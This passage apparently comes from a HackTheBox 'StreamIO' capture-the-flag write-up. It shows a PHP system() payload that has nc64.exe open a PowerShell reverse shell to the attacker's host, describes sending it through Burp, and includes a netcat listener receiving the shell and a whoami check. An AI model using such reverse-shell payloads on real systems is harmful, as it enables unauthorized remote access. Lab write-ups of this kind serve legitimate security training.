system("\\programdata\\nc64.exe -e powershell 10.10.14.54 443");
Two listeners are required for this to work, one for the file retrieval and one for the reverse shell. After sending the POST request again through Burp with the updated payload, the target reached out to download nc64.exe, and shortly after, the reverse shell connection arrived.
1
2
3
4
5
6
7
8
9
10
┌──(sicario㉿kali)-[~/HacktheBox/streamio]
└─$ rlwrap -cAr nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.54] from (UNKNOWN) [10.129.150.95] 56063
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\inetpub\streamio.htb\admin>
whoami
streamio\yoshihide














